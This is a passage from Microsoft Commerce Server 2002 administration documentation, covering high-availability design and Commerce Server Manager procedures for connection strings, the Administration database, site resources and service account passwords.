NIC Server offline 4 4 8 128
  • Dual NIC card
  • Monitoring software
 1 2 4 8
Power supply Site offline 4 4 10 160
  • UPS
  • Monitoring software
 2 2 2 8
RAID controller Server offline 2 4 10 80
  • Monitoring software
  • Additional server
 2 2 8 32
Router/ Customer Service Unit (CSU) Loss of connections

Inability to process orders

Inability to manage site

 4 4 8 128
  • Redundant routers
  • Monitoring software
 2 2 4 16
SQL Server cluster Single-server failure, resulting in slower service 5 4 2 40
  • Redundant servers designed into site architecture
  • Monitoring software
 5 2 2 20
Switch Some or all devices offline 4 4 10 160
  • Redundant power supplies
  • Redundant connection cards
  • Redundant management card
  • Monitoring software
 1 2 4 8
Web server Site offline 5 4 10 200
  • Additional Web servers
  • Load balancing
 2 2 5 20


Preventing Business Logic Tier Failures

You can make the business logic tier more resilient by using load-balanced Web clusters to protect servers, services, and the network against failures. Load-balanced clusters enable you to remove an unresponsive server from the cluster so that users will not be directed to a faulty server, and the unresponsive server can be repaired. You can combine Round Robin Domain Naming System (RRDNS) with load balancing to produce a scalable and available configuration.

All the nodes in a load-balanced cluster must be on the same LAN subnet and all the nodes should refer to the same IP address. On a site with multiple Web clusters, you must configure multiple load-balanced clusters on different subnets and configure the Domain Name System (DNS) to sequentially distribute requests across multiple load-balanced clusters to increase scalability.


Preventing Database Tier Failures

You can make the database tier more resilient by using a combination of disk redundancy and a sound backup and restoration strategy to protect your data. You can use any of the following methods to make database services more resilient:

  • Clustering. In Windows Clustering, two or more servers can share common data and work together as a single system. Windows Datacenter Server supports up to four servers (nodes) in a cluster. Each node can operate independently of the others.
  • Replication. You can use SQL Server replication to synchronize your database servers. SQL Server offers replication options such as snapshot replication and transactional replication. Active Directory also uses replication to ensure redundancy.
  • Warm backups. You can use a single production server to provide read/write access to data, logging all transactions. You then use SQL Server log shipping to transfer files to a non-production server that is continuously updated with the transaction log files.

Data must be backed up or replicated to prevent it from being accidentally deleted. The following table describes the two types of data replication.

Type of data replication | Characteristics | Use when
Active | Shares a part of the workload of the primary site and is always online. | Data is extremely critical and the site must always be available.
Passive | Inactive until a disaster takes the primary site out of operation. | Your site can tolerate brief interruptions in data availability while the backup site comes online.

Database Connections

Commerce Server and its dependencies use database connections to connect to databases. Since database servers run on top of platform OS and services, the causes of failure are many, including:

  • File Disk system crash
  • Network failure
  • Database application failure
  • Server failure

There are two recommended Windows 2000 high availability solutions:

  • MSCS Cluster service. This solution is applicable to database servers in publisher mode.
  • Network Load Balancing. This solution is applicable in scale-out mode. In this mode, multiple database servers are load balanced under a single virtual IP. The database servers typically function as subscribers to a master database server acting as data publisher. When a database server fails, NLB removes the server from the cluster and directs connections to remaining functional servers.


Component Design Considerations for High Availability

The following table contains examples of uptime requirements for Commerce Server functions. Your requirements might be different from those shown in the table; however, you can use the examples as starting points for creating your site architecture.

Commerce Server function | Target uptime (%) | Failure classification
Authentication | 99.99 | One retry acceptable
Basket view | 99.999 | No acceptable failure rate
Catalog query | 99.99 | Two retries acceptable
Personalization | 99 | Do not retry
Purchase pipeline | 99.999 | No acceptable failure rate
Show advertisement | 99 | Do not retry

For examples of business logic that you can use to protect against loss of database connectivity, see Retry Code Logic.


Administering Commerce Server

This section describes how to use Commerce Server Manager to administer Microsoft Commerce Server 2002. This section is intended for the system administrator, whose responsibilities include adding and managing resources used by sites, installing and configuring Web servers, monitoring Commerce Server performance, and maintaining Commerce Server databases.

This section contains:

  • Commerce Server Manager Help. Lists common tasks you perform by using Commerce Server Manager.
  • Administration Tools. Describes the tools that a system administrator uses to manage a Commerce Server installation.
  • Using Commerce Server Manager. Explains how to start Commerce Server Manager.
  • Changing Database Connection Strings. Explains how to set Commerce Server database connection strings for the Administration database, global resources, and site resources.
  • Changing the Administration Database SQL Server Login and Password. Explains how to change the SQL Server login and password for the Administration database.
  • Installing Administration Tools Only. Explains how to set up an administration-only console on a separate computer.
  • Managing the Administration Database. Describes the Administration database and how sites interact with it. Explains how to configure the database and manage security.
  • Managing Commerce Resources. Explains how to add and remove global-level resources and site-level resources, and how to start and stop a resource.
  • Configuring the App Default Config Resource. Explains how to configure properties that affect authentication, which currency your site uses, and integration with Microsoft BizTalk Server.
  • Managing Commerce Sites. Explains how to add, configure, and delete a site.
  • Managing Commerce Applications and Web Servers. Explains how to add, configure, and delete a Commerce Server application, and how to add and delete a Web server.
  • Running the Data Warehouse. Explains how to import data into the Data Warehouse and how to customize the import process. Explains how to manage and enrich the data in the Data Warehouse.
  • Running Direct Mailer. Explains how to develop personalized direct mail messages. Explains how to customize Commerce Server Direct Mailer, and how to run, monitor, and delete direct mail jobs.
  • Running the Predictor Resource. Explains how to build new Predictor and Segment models, view models, and monitor the Predictor resource.
  • Running the Profiles Resource. Explains how to add Profile data sources to Commerce Server, how to create profile definitions to collect data from your Web site, and how to create site terms.
  • Monitoring Commerce Server Sites. Explains how to monitor a Commerce Server installation. Describes the Commerce Server counters. Explains how to use the Commerce Server system counters to improve server performance.
  • Optimizing Commerce Server. Explains how to minimize the response time for each request and how to maximize the throughput of Commerce Server.
  • User Interface Reference. Provides the context-sensitive help topics for the Data Warehouse, Data Transformation Services tasks, Predictor resource, and Commerce Server Site Packager.


Commerce Server Manager Help

Following is a list of common tasks performed from Commerce Server Manager.

Area | Topics
Resources | Resources Installing and Uninstalling Global Resources Adding a Global Resource Pointer to a Site Adding a Resource to a Site Sharing Resources Across Sites
Sites and Applications | Sites Applications Using Site Packager Installing on a Four-Computer Clustered Configuration Installing on a Three-Computer Non-Clustered Configuration Adding an Application to a Site Adding a Business Desk Application to a Site Adding a Non-Commerce Application to a Site Adding a Web Server to an Application Adding a Non-Commerce Web Server to an Application Configuring an Application Configuring a Web Server
Predictor Resource | Predictor Resource Tutorial Manually Rebuilding an Analysis Model
Direct Mailer | Using Direct Mailer and Windows Authentication Configuring Direct Mailer Running Direct Mailer
Data Warehouse | Configuring the Web Server Log Import DTS Task Importing Data into the Data Warehouse Scripting DTS Tasks
CS Authentication Resource | AuthFilter Processing in a Web Farm Enabling AuthFilter for the Retail Solution Site Cookie Sharing Exchange 2000 Outlook Web Access Basic Authentication
Profiles Resource | Configuring the Profiles Resource Connection String Creating a New Data Source in the Profiles Resource
App Default Config Resource | Configuring the App Default Config Resource Configuring Commerce Server to Work with BizTalk Server
Troubleshooting | Troubleshooting Commerce Server Resources Troubleshooting the Data Warehouse Import Process


Administration Tools

The following table lists the administration tools used to maintain a Commerce Server 2002 installation.

Use this | To do this
Using Commerce Server Manager | Manage and configure Commerce Server resources, sites, applications, and Web servers.
Using Site Packager | Deploy sites, resources, applications, and Web servers.
SQL Enterprise Manager | Manage Commerce Server databases.
IIS snap-in | Manage Web servers.
Windows 2000 Active Directory Users and Computers | Manage Windows 2000 user accounts, computer accounts, and security and distribution groups.
Windows 2000 Event Viewer | View event logs.
Windows 2000 System Monitor | Collect and view real-time computer performance data.
Windows 2000 Backup Wizard | Back up the Internet Information Services (IIS) metabase, Windows 2000 Registry settings, and Commerce Server files.
Windows 2000 Restore Wizard | Restore the IIS metabase, Windows 2000 Registry settings, and Commerce Server files.


Using Commerce Server Manager

Commerce Server Manager is a tool that you use to manage and configure Commerce Server 2002 resources, sites, applications, and Web servers. The Microsoft Management Console (MMC), a Windows-based interface that is included in Microsoft Windows 2000, hosts Commerce Server Manager.

The functionality in Commerce Server Manager is not available through either Web-based or command line administration. Instead, most of this functionality is accessed and manipulated through Component Object Model (COM) objects, so it is possible for you to write a Windows Script Host (WSH) script or an Active Server Pages (ASP) page to extend the administration environment.

To access Commerce Server Manager

  • Click Start, point to Programs, point to Administrative Tools, and then click Commerce Server Manager.

See Also

Integrating Custom Resources


Changing Database Connection Strings

Commerce Server connection strings are stored in the Administration database. It is recommended that you configure all database connection strings with Window Authentication. For information about configuring your site to use Windows Authentication, see Using Windows Authentication.

Commerce Server uses connection strings for the following databases:

  • Administration database. During Setup, you configure the connection string for the Administration database . You can the connection string a later date using Commerce Server Manager. For instructions, see Changing the Administration Database Connection String.
  • Direct Mailer database. During Setup, you configure the connection string for the Direct Mailer database. You can change it at a later date using Commerce Server Manager. For instructions, see Configuring Direct Mailer.
  • Databases used by resources. When you unpack a site using Commerce Server Site Packager, for some resources you are prompted for a connection string to the appropriate database. The following table lists the connection strings for each resource.
    Resource | Connection string
    Business Desk Permissions | SDT Database
    Product Catalog | Catalog Database
    Campaigns | Campaigns Database
    Transactions | Transactions Database
    Transaction Config | Transactions Config Database
    Profiles | s_BizDataStoreConnectionString, s_CommerceProviderConnectionString, s_ProfileServiceConnectionString
    Data Warehouse The connection string is not named in the user interface because the Data Warehouse has its own snap-in extension.

    The connection string for the Data Warehouse resource to the OLAP database only supports Windows Authentication.

  • Other databases. You also specify connection strings in the following cases:
    Feature | Connection string
    List Manager: Importing and exporting lists | In the List Manager module in Commerce Server Business Desk, set the connection string for the SQL Server database table you are importing or exporting.
    Migration ProfileBuilder Tool | After you modify the ProfileBuilder, source code, create a Data Source Name (DSN) for the Commerce Server Profiles data store.
    Profiles resource: Adding data sources | Use the data source picker (and for the Lightweight Directory Access Protocol (LDAP), the LDAP connection string dialog box) to enter the connection strings for the databases and LDAP sources you are mapping data source partitions to.
    Predictor resource | Enter the connection string only if you are building models against an external database, not the Data Warehouse.

If you need to change a connection string for a database, use Commerce Server Manager.

This section contains:

  • Changing the Connection String for a Global Resource
  • Changing the Connection String for a Site Resource

See Also

Using Windows Authentication

Configuring Data Warehouse Connection Strings

Configuring the Predictor Connection String to an External Database

OLE DB Connection Strings for the Data Warehouse

OLE DB Connection Strings for the Profiling System

Code to Connect to the Expression Store

Code to Retrieve the Predictor Database Connection String

Code to Connect to the Profiles Store


Changing the Connection String for a Global Resource

You can change the connection strings for any of the global resources.

To change the connection string for a global resource

Note

  • Because the Data Warehouse global resource has its own snap-in extension with a different user interface, this procedure does not apply. For instructions about changing the Data Warehouse connection strings, see Configuring Data Warehouse Connection Strings.
  1. In Commerce Server Manager, expand Commerce Server Manager, and then expand Global Resources.
  2. Right-click the global resource to be configured, and then click Properties.
  3. In the Properties dialog box, on the Connection Strings tab, to configure the connection strings for the global resource, select a connection string, and then click Modify.

    The Data Link Properties dialog box appears.

  4. After making the necessary changes in the Data Link Properties dialog box, click OK.

Notes

  • It is possible to add connection strings that are not associated with a database, and thus, do not work. If this occurs, Microsoft Data Link does not display an error message.
  • After you change a connection string, you must restart Internet Information Services (IIS). For instructions, see Restarting IIS and Commerce Server Services.

See Also

Using Windows Authentication

Configuring Data Warehouse Connection Strings

Configuring the Predictor Connection String to an External Database

OLE DB Connection Strings for the Data Warehouse

OLE DB Connection Strings for the Profiling System

Code to Connect to the Expression Store

Code to Retrieve the Predictor Database Connection String

Code to Connect to the Profiles Store


Changing the Connection String for a Site Resource

You can change the connection strings for any of the site resources.

To change the connection string for a site resource

  1. In Commerce Server Manager, expand Commerce Server Manager, expand Commerce Sites, and then expand the site you want to administer.
  2. Expand Site Resources, right-click the site resource to be configured, and then click Properties.
  3. In the Properties dialog box, on the Connection Strings tab, select a connection string, and then click Modify. The Data Link Properties dialog box appears.
  4. After making the necessary changes in the Data Link Properties dialog box, click OK.

Notes

  • It is possible to add connection strings that are not associated with a database, and thus, do not work. If this occurs, Microsoft Data Link does not display an error message.
  • After you change a connection string, you must restart IIS. For instructions, see Restarting IIS and Commerce Server Services.

See Also

Using Windows Authentication

Configuring Data Warehouse Connection Strings

Configuring the Predictor Connection String to an External Database

OLE DB Connection Strings for the Data Warehouse

OLE DB Connection Strings for the Profiling System

Code to Connect to the Expression Store

Code to Retrieve the Predictor Database Connection String

Code to Connect to the Profiles Store


Changing the Administration Database SQL Server Login and Password

If you change the name of your computer, you must change the necessary connection string settings in Commerce Server Manager so that they use the new computer name. The settings you change depend on the topology used to deploy Commerce Server. You must manually edit the fields in your Administration database to the new name.

You must also delete your current SQL Server registration and then register a new instance of SQL Server. You need to change your SQL Server login and password for the Administration database. You do this by deleting your current SQL Server registration and then registering a new instance of SQL Server. Use the following procedure to register a new SQL Server instance.

To change the SQL Server login and password for the Administration database

  1. In the Microsoft Commerce Server Manager console, right-click Commerce Server Manager, and then click Properties.
  2. In the Commerce Server Manager Properties dialog box, on the Administration Database tab, click Modify.

    The Data Link Properties dialog box appears.

  3. After making the necessary changes in the Data Link Properties dialog box, click OK.

Note

  • For instructions about completing the Data Link Properties dialog box, click Help in the Data Link Properties dialog box to open the Microsoft Data Link Help file.


Installing Administration Tools Only

After you have installed Commerce Server on at least one computer, you can also set up an administration-only console on a separate computer. An administration-only computer includes only Commerce Server Manager, and it connects to the existing Administration database.

You may want to use an administration-only computer if:

  • You want to use your existing computer with minimal installation. An administration-only computer has fewer software and configuration requirements than those for a full Commerce Server installation. You can use Microsoft Windows 2000 Professional as your operating system rather than Microsoft Windows 2000 Server.
  • You want the option of administering Commerce Server from different locations. Administration-only computers must be in the same domain or trusted domain as Commerce Server.

An administration-only computer must meet the following requirements:

  • Microsoft Windows 2000 Professional, Server, or Advanced Server installed
  • 20 MB of hard disk space available
  • Connectivity to the existing Administration database

To install Administration tools only

  1. On the computer you have selected to be administration-only, run Commerce Server 2002 Setup, and then select Custom Installation.
  2. Verify that the Administration Tools option is selected for this installation, and clear all other options.
  3. In the Administration Database Configuration screen, do the following:
    Use this | To do this
    SQL Server computer | Type the name of the SQL Server on which you want the Administration database to be created.
    SQL user name | Type a SQL Server login user name that has permissions on the SQL Server on which the Administration database is to be created.
    SQL password | Type the SQL Server login password.
  4. Click Next, and then click Install.

Commerce Server Manager is installed on your computer.

To enable administration through a proxy server or firewall

  • Open port 1433 between SQL Server and the Administration-only computer.

By default, SQL Server listens on port 1433. For instructions about changing the port number, see SQL Server Books Online.

Note

  • Although you can use Commerce Server Manager through a proxy or firewall, you cannot use Internet Services Manager through a proxy or firewall. To add IIS administration capability to an administration-only computer located on the far side of a firewall, you can use the browser-based IIS or Microsoft Terminal Services.

    For more information about using IIS, see the IIS 5.0 documentation. For information about using Terminal Services, see "Client Services" in the Windows 2000 documentation.


Managing the Administration Database

Your Commerce Server 2002 site may consist of multiple computers, however, the configuration data for the resources for all computers is stored centrally in a single SQL Server Administration database named MSCS_Admin. This database is created automatically when you first install Commerce Server. During Setup, you must specify the SQL Server computer for the Administration database.

When you install Commerce Server on additional computers, you point the computers to the Administration database during Setup. By setting up all the computers to point to this central database, you can manage all the Commerce Server computers from a central console.

Note

  • All Commerce Server computers can use a single Administration database. Alternatively, each computer can use its own Administration database.

The following table shows the typical location of the Administration database in different environments.

Type of environment | Typical location of Administration database
Single server containing Commerce Server, Microsoft SQL Server, and all Web components | On the single server
One or more Web servers and one database server | On the SQL Server computer
Multi-tier, multi-server environment | On one of the SQL Server computers (for optimal performance, separate from the Data Warehouse)

This section contains:

  • Interaction Between Sites and the Administration Database
  • Managing Security on the Administration Database
  • Changing the Administration Database Connection String


Interaction Between Sites and the Administration Database

The Administration database is accessed by three COM objects: SiteConfig, GlobalConfig, and SiteConfigReadOnly. The following figure shows how these Config objects facilitate communication between sites and the Administration database.

A figure illustrating how Config Objects update the Administration database.

The Config objects write data to the Administration database. They also get data from the database that is then used by the applications. For information about programming with the Config objects, see Programmer's Reference.

See Also

Securing Your Site

Managing Security on the Administration Database


Managing Security on the Administration Database

The Administration database connection string uses a Microsoft SQL Server login user name and password.

During Commerce Server installation, Setup prompts you for an existing SQL Server login name and password that Setup uses to create the Administration database on the SQL server or to connect to the database if it already exists.

After the Administration database is created, you can use Microsoft SQL Server Enterprise Manager to change the SQL Server login and password for the Administration database. If you want to use a different SQL Server login to connect to the Administration database from the Commerce Server computer, you must use Commerce Server Manager to change the connection string to the database.

For security purposes, do not use the "sa" login for access to the Administration database. Instead, use SQL Server Enterprise Manager to create a new login and user for the Administration database.

To change the SQL Server login user name and password for the Administration database

  1. Right-click Commerce Server Manager, and then click Properties.
  2. In the Commerc Server Manager Properties dialog box, on the Administration Database tab, click Modify.

    The Data Link Properties dialog box appears.

  3. After making the necessary changes in the Data Link Properties dialog box, click OK.

    Note

    • For information about how to complete the Data Link Properties dialog box, click Help in the Data Link Properties dialog box to open the Microsoft Data Link Help file.

See Also

Securing Your Site


Changing the Administration Database Connection String

To connect to the Administration database on SQL Server, initially you set the connection string during the Commerce Server installation process. The Administration database connection string supports Microsoft SQL Authentication and Windows Authentication.

Note

  • When Commerce Server Manager cannot connect to the Administration database, the root node for Commerce Server Manager appears in the scope pane in the Microsoft Management Console (MMC), but the rest of the Commerce Server hierarchy does not appear.

You must change the connection string for the Administration database in the following situations:

  • You change the location of the Administration database.
  • You rename the database.
  • You have a multi-server deployment of Commerce Server using Windows Authentication, and AuthFilter is configured for Custom Authentication.

    When using AuthFilter in this scenario, you must change the connection string to the Administration database because the ISAPI filter (and hence AuthFilter) is running in the security context of the Internet Information Services (IIS) process (inetinfo), known as LocalSystem. Therefore, AuthFilter tries to connect to the SQL Server on another computer using credentials from LocalSystem, which is invalid; it does not have the rights to make connections across a network. (If the Administration database is local, the connection would work, but you should never locate the Administration database on the Web server.)

    For more information, see Using Windows Authentication in a Distributed Deployment.

To change the connection string for the Administration database

  1. Right-click Commerce Server Manager, and then click Properties.
  2. In the Commerce Server Manager Properties dialog box, on the Administration Database tab, click Modify.

    The Data Link Properties dialog box appears.

  3. In the Data Link Properties dialog box, change the SQL Server name, if needed.
  4. Select the authentication mode:
    • To use Windows NT Integrated security, select Use Windows NT Integrated security.
    • To use SQL Authentication, select Use a specific user name and password, and then complete the User name and Password boxes.

    Do not select Blank password. If you do, you will cause a security risk in your environment.

  5. Click OK.

Notes

  • It is possible to add connection strings that are not associated with a database, and thus, do not work. If this occurs, Microsoft Data Link does not display an error message.
  • After you change a property in Commerce Server Manager, you must restart all services that use those values. For instructions, see Restarting IIS and Commerce Server Services.

See Also

Securing the Administration Database

Managing the Administration Database


Managing Commerce Resources

There are two types of resources: global resources and site resources. Third parties can develop custom global resources and site resources to work with Commerce Server. Use the procedures in this section to install, add, and configure Commerce Server resources.

This section contains:

  • Installing and Uninstalling Global Resources. Explains how to install and uninstall a global resource.
  • Adding a Global Resource Pointer to a Site. Explains how to add a global resource pointer to a site.
  • Adding a Resource to a Site. Explains how to add a resource to a site.
  • Sharing Resources Across Sites. Lists which resources can be shared by multiple sites.
  • Configuring a Global Resource. Explains how to configure a global resource.
  • Configuring a Site Resource. Explains how to configure a site resource.
  • Changing a Service Account or Password. Explains how to change an account or password for Predictor, Direct Mailer, Event Logging, and List Manager.
  • Deleting a Resource from a Site. Explains how to delete a resource from a site.
  • Deleting the Data Warehouse Resource. Explains how to delete a site and resource that is unpacked by the Data Warehouse Configurator.


Installing and Uninstalling Global Resources

You use the Microsoft Commerce Server 2002 Setup program to install and uninstall Predictor and Direct Mailer, two of the global resources in Commerce Server. Other global resources are created during the unpacking process.

After you install Predictor and Direct Mailer, you must unpack these resources in order for a site to use them. When you unpack an application, you set the global resource pointers for the site to Predictor and Direct Mailer. For instructions about adding and deleting global resource pointers from a site, see Adding a Global Resource Pointer to a Site and Deleting a Resource from a Site.

For more information about installing and deploying Predictor and Direct Mailer, see Deploying Your Site.

Note

  • You can install the Commerce Server 2002 Direct Mailer and Predictor resources as highly available clustered resources to take advantage of Microsoft Cluster Server (MSCS). For information about installing Direct Mailer and Predictor as clustered resources, see Installing Commerce Server 2002 Resources as Clustered Resources.

To install Predictor or Direct Mailer

  1. Insert the Commerce Server 2002 CD into your disc drive, and run the Commerce Server 2002 Setup program. Accept the license agreement, type your customer information, and select the destination folder.
  2. In the Setup Type dialog box, select Custom (or Modify if you have already installed Commerce Server on this computer), and then click Next.
  3. In the Custom Setup dialog box, under the Run-time Objects folder, select the Predictor Service or Direct Mailer Service option, and then select Not installed for the other options. Click Next.
  4. In the Direct Mailer Database Configuration dialog box, type the name of the local computer in the SQL Server Computer box. Type the SQL server login user name and password to use when creating the Direct Mailer database, and then click Next.
  5. In the Services Accounts dialog box, type the Windows user name and password of the account under which the services will run, and then click Next.

    Note

    • When designating a service account, use a permanent account. If this account is disabled at a later date, or if the password is changed, Commerce Server will stop working. For instructions about changing a service account or password, see Changing a Service Account or Password.
  6. In the Ready to Install dialog box, click Install.

    Commerce Server Setup installs Predictor and/or Direct Mailer onto the computer.

  7. Click Finish to exit the Setup program.

To uninstall Predictor or Direct Mailer

Note

  • You can install the Commerce Server 2002 Direct Mailer and Predictor resources as highly available clustered resources to take advantage of Microsoft Cluster Server (MSCS). For information about installing Direct Mailer and Predictor as clustered resources, see Installing Commerce Server 2002 Resources as Clustered Resources.
    Important
  • To uninstall a Commerce Server 2002 clustered resource, you must first uninstall Commerce Server 2002. After you uninstall Commerce Server 2002, you can uninstall the cluster service (MSCS). For information about uninstalling Commerce Server 2002, see "Uninstalling Commerce Server 2002" in the Commerce Server 2002 Installation Guide.
  1. Insert the Commerce Server 2002 CD into your disc drive, and run the Commerce Server 2002 Setup program. Accept the license agreement, type your customer information, and accept the default destination folder.
  2. In the Setup Type dialog box, select Modify, and then click Next.
  3. In the Custom Setup dialog box, verify that the feature you want to remove, Predictor Service or Direct Mailer Service, is not selected (the check box should have an X in it, indicating that you are not selecting it), and then click Next.
  4. In the Ready to Install dialog box, click Install.

    Commerce Server Setup removes Predictor and/or Direct Mailer from the computer.

  5. Click Finish to exit the Setup program.

See Also

Deploying Your Site

Adding a Global Resource Pointer to a Site

Deleting a Resource from a Site


Adding a Global Resource Pointer to a Site

After you have used the Commerce Server 2002 Setup program to install a global resource, you can add a pointer to the resource to any site in your Commerce Server Administration database. To add a global resource pointer to a site, you unpack the global resource pointer from a Commerce Server Site Packager file.

For example, after you install Predictor and Direct Mailer, you unpack a site that includes the Predictor and Direct Mailer resources. When you unpack the site, you set the global resource pointers for the site to Predictor and Direct Mailer.

Notes

  • Before performing this procedure, you must create a package file, or use one of the Solution Site packages that contains the global resource pointer you want to add to the site. For instructions about creating a package, see Using Site Packager.
  • If you unpack the Direct Mailer resource after you unpack a Commerce Server Business Desk application and install a Business Desk client, you must restart Internet Information Services (IIS) 5.0 on the Web server hosting the Business Desk application in order for the addition of Direct Mailer to be detected. Business Desk clients must re-connect to the application. For instructions about restarting IIS, see Restarting IIS and Commerce Server Services.

To add a global resource pointer to a site

  1. In Commerce Server Manager, expand Commerce Server Manager, expand Commerce Sites, and then expand the site you want to administer.
  2. Right-click Site Resources, point to New, and then click Add Resource.
  3. In the Open dialog box, select the package that contains the global resource pointer you want to add to the site, and then click Open.

    Commerce Server Site Packager starts.

  4. In the Select Resources dialog box, in the Available resources box, select the global resource you want, and then click Add. The resource appears in the Resources to unpack box.
  5. Click Next.
  6. In the Global Resource Pointers dialog box, verify that the resource points to the appropriate global resource. You can create some new global resources from this screen. To do so, select Create New Global Resource when mapping the global resource pointer.
  7. In the Database Connection Strings dialog box, Site Packager lists the databases it will create and the servers on which it will create them. If you need to create a new database for your global resource, click New Database.
  8. In the SQL Server computer box, type the name of the computer that will contain the database. In the Database name box, type the name you want for the database. In the remaining boxes type a SQL Server login user name and password, and then click Create database.
  9. When you are returned to the Database Connection Strings dialog box, select a connection string, and then click Modify.
  10. In the Data Link Properties dialog box, make the necessary changes, and then click OK.

    Note

    • For information about how to complete the Data Link Properties dialog box, click Help in the Data Link Properties dialog box to open the Microsoft Data Link Help file.
  11. Click Next.
  12. In the Unpacking is complete dialog box, review the log file of the unpacking process, and then click Finish.

The global resource pointer appears under the site in Commerce Server Manager.

See Also

Using Site Packager

Installing on a Four-Computer Clustered Configuration

Installing on a Three-Computer Non-Clustered Configuration

Deleting a Resource from a Site

Installing Commerce Server


Adding a Resource to a Site

To add a resource to a site, you unpack the resource from a package file.

Notes

  • Before performing this procedure, you must create a package file, or use a Solution Sites package, that contains the resource you want to add to the site. For instructions about packaging a resource and creating a package file, see Using Site Packager.
  • If you unpack the Direct Mailer resource after you unpack a Commerce Server Business Desk application and install a Business Desk client, you must restart Internet Information Services (IIS) 5.0 on the Web server hosting the Business Desk application in order Direct Mailer to be detected. Business Desk clients must re-connect to the application. For instructions about restarting IIS, see Restarting IIS and Commerce Server Services.

To add a site resource

  1. Expand Commerce Server Manager, expand Commerce Sites, and then expand the site you want to administer.
  2. Click Site Resources, right-click Site Resources, point to New, and then click Add Resource.
  3. In the Open dialog box, which contains a list of existing Site packages, select the package that contains the resource you want to add to the site, and then click Open.

    Commerce Server Site Packager starts.

  4. In the Select Resources dialog box, in the Available resources box, select the resource you want, and then click Add. The resource appears in the Resources to unpack box.
  5. Click Next.
  6. In the Global Resource Pointers dialog box, verify that the resource points to the server containing the appropriate global resource. You can create some new global resources from this screen. To do so, select Create New Global Resource when mapping the global resource pointer.

    Site Packager lists the connection string properties of new global resources you are adding. It will not list the connection string properties if the resource you are adding is not a global resource pointer.

  7. In the Database Connection Strings dialog box, Site Packager lists the databases it will create and the servers on which it will create them. If you need to create a new database for your global resource, click New Database.
  8. In the SQL Server computer box, type the name of the computer that will contain the database. In the Database name box, type the name you want for the database. In the remaining boxes type the SQL Server login user name and password, and then click Create database.
  9. When you are returned to the Database Connection Strings dialog box, select a connection string, and then click Modify.
  10. In the Data Link Properties dialog box, make the necessary changes, and then click OK.

    Note

    • For information about how to complete the Data Link Properties dialog box, click Help in the Data Link Properties dialog box to open the Microsoft Data Link Help file.
  11. Click Next.
  12. In the Unpacking is complete dialog box, review the log file of the unpacking process, and then click Finish.

The resource appears under the site in Commerce Server Manager.

See Also

Sharing Resources Across Sites

Multiple Sites and One Data Warehouse

Using Site Packager

Installing on a Four-Computer Clustered Configuration

Installing on a Three-Computer Non-Clustered Configuration

Configuring a Site Resource

Deleting a Resource from a Site


Sharing Resources Across Sites

The following table lists which resources can and cannot be shared across multiple sites.

Resource | Can be shared
App Default Config | No
BizDesk Permissions | No
Campaigns | No
Catalog | No
CS Authentication | Yes
Data Warehouse | Yes
Direct Mail | Yes
Predictor | Yes
Profiles | Yes
Transactions | No
Transactions Config | No

See Also

Multiple Sites and One Data Warehouse


Configuring a Global Resource

After a global resource is installed, you can change the properties and the database connection strings used by the global resource at any time.

Note

  • When you change the properties or the database connection string for a global resource using Commerce Server Manager, changes may not be reflected immediately in Commerce Server Business Desk or in the Web pages of the applications using the global resource. To refresh these changes, restart all services that use those values. For instructions, see Restarting IIS and Commerce Server Services.

To configure a global resource

  1. Expand Commerce Server Manager, and then expand Global Resources.
  2. Right-click the global resource to be configured, and then click Properties.
  3. In the <global resource> Properties dialog box, on the Properties tab, configure the properties for the global resource. For each property you want to configure, select the property, and then type the value in the Selected Property Value box.
  4. On the Connection Strings tab, configure the connection strings for the global resource, and then click Modify.

    The Data Link Properties dialog box appears.

    Note

    • For information about how to complete the Data Link Properties dialog box, click Help in the Data Link Properties dialog box to open the Microsoft Data Link Help file.
  5. After making the necessary changes in the Data Link Properties dialog box, click OK.

The global resource you selected is now configured.

Note

  • After you change a property in Commerce Server Manager, you must restart all services that use those values. For instructions, see Restarting IIS and Commerce Server Services.

See Also

Resources

Configuring a Site Resource

Restarting IIS and Commerce Server Services


Configuring a Site Resource

After a site resource is added to a site, you can change the properties used by the site resource at any time. All site resources used by a site expose an object at the site level.

Note

  • Global resources that are used by a site expose an object at the site level (a global resource pointer); however, the only property that the object exposes is a pointer to the associated global resource. For information about configuring global resources, see Configuring a Global Resource.

To configure a site resource

  1. Expand Commerce Server Manager, expand Commerce Sites, and then expand the site you want to administer.
  2. Expand Site Resources, right-click the site resource to be configured, and then click Properties.
  3. In the Properties dialog box, select the property you want to configure, and then type the value in the Selected Property Value box.
  4. When you are finished configuring the properties for the site resource, click OK.

Note

  • After you change a property in Commerce Server Manager, you must restart all services that use those values. For instructions, see Restarting IIS and Commerce Server Services.

See Also

Resources

Configuring a Global Resource


Changing a Service Account or Password

Several passwords must be maintained for a Commerce Server site, including SQL Server login passwords, Windows service account passwords, and COM+ application passwords. Using Commerce Server Manager, you can change multiple passwords in one place. You can change the SQL Server login credentials across all the resources in a selected site.

When you use Commerce Server Manager to change passwords, an all or nothing approach is taken to allow a user to change all the passwords for services and COM+ applications on a single server at a time and all the SQL server credentials used by the resources in a single site at a time.

Commerce Server Manager connects to the server and stops each Commerce Server service, changes the account and password, and then restarts the service. Last, the COM+ Application identity is changed to use the specified Windows account and password.

This section contains:

  • Credentials for Commerce Server Resources
  • Changing Credentials for a Remote Computer


Credentials for Commerce Server Resources

Commerce Server uses two classes of account information:

  • Windows account and passwords for Commerce Server services and COM+ applications used by Commerce Server.
  • SQL Server logins used in connection string properties of resources.

The following table lists which resources use Windows account information and SQL Server credentials.

Services using Windows account and password | Site level resources with SQL Server credentials | Global resources with SQL Server credentials
List Manager (service) | Transactions | Direct Mailer
Direct Mailer (service) | Transaction Config | Data Warehouse
Predictor (service) | Product Catalog | Profiles
Event Logging (COM+ application identity) | Campaigns |


Changing Credentials for a Remote Computer

When you change the credentials for a remote computer, verify that the new account is granted the Log on as service right on the remote computer. Commerce Server does not automatically grant the account this right on the remote computer, even though the account may have the right on the local computer.

To change a service account or password

  1. Click Start, point to Programs, point to Administrative Tools, and then click Commerce Server Manager.
  2. In Commerce Server Manager, click the Change Passwords taskpad.
  3. In the Change Passwords dialog box, in the Services and COM+ Applications section, do the following:
    Use this | To do this
    Server name | Type the name of the computer for which you want to change the password. The default value is the name of the local computer.
    Windows account | Type the new Windows account to be used by the services.
    Password | Type the new password to be used by the services.
  4. Click Change to activate the new Windows account or password.
  5. In the Verify Password dialog box, type the new password again, and then click OK.

The process of changing the passwords is synchronous. A status message is displayed indicating the action being performed (stopping the service, changing the credentials, starting the service).

To change the SQL Server login name and password used by site resources

  1. Click Start, point to Programs, point to Administrative Tools, and then click Commerce Server Manager.
  2. In Commerce Server Manager, click the Change Passwords taskpad.
  3. In the Change Passwords dialog box, in the SQL Server Connections section, do the following:
